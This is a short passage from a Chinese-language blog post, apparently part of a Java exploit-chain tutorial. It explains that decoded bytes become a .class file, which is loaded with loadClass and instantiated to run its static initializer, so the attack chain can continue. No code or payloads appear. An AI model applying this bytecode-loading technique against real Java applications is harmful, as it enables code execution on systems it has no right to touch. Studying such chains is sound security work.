decode以后便恢复成原生字节码也就是.class了,通过loadClass获取类,然后newInstance创建实例调用静态初始化代码。

8. 字节码小结

我们要最终达到的目的其实是加载 class 文件,也就是字节码文件。所以我们所做的一系列工作都是为了能够调用这些 class,只有完成了这一步,才能继续我们的链子。

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注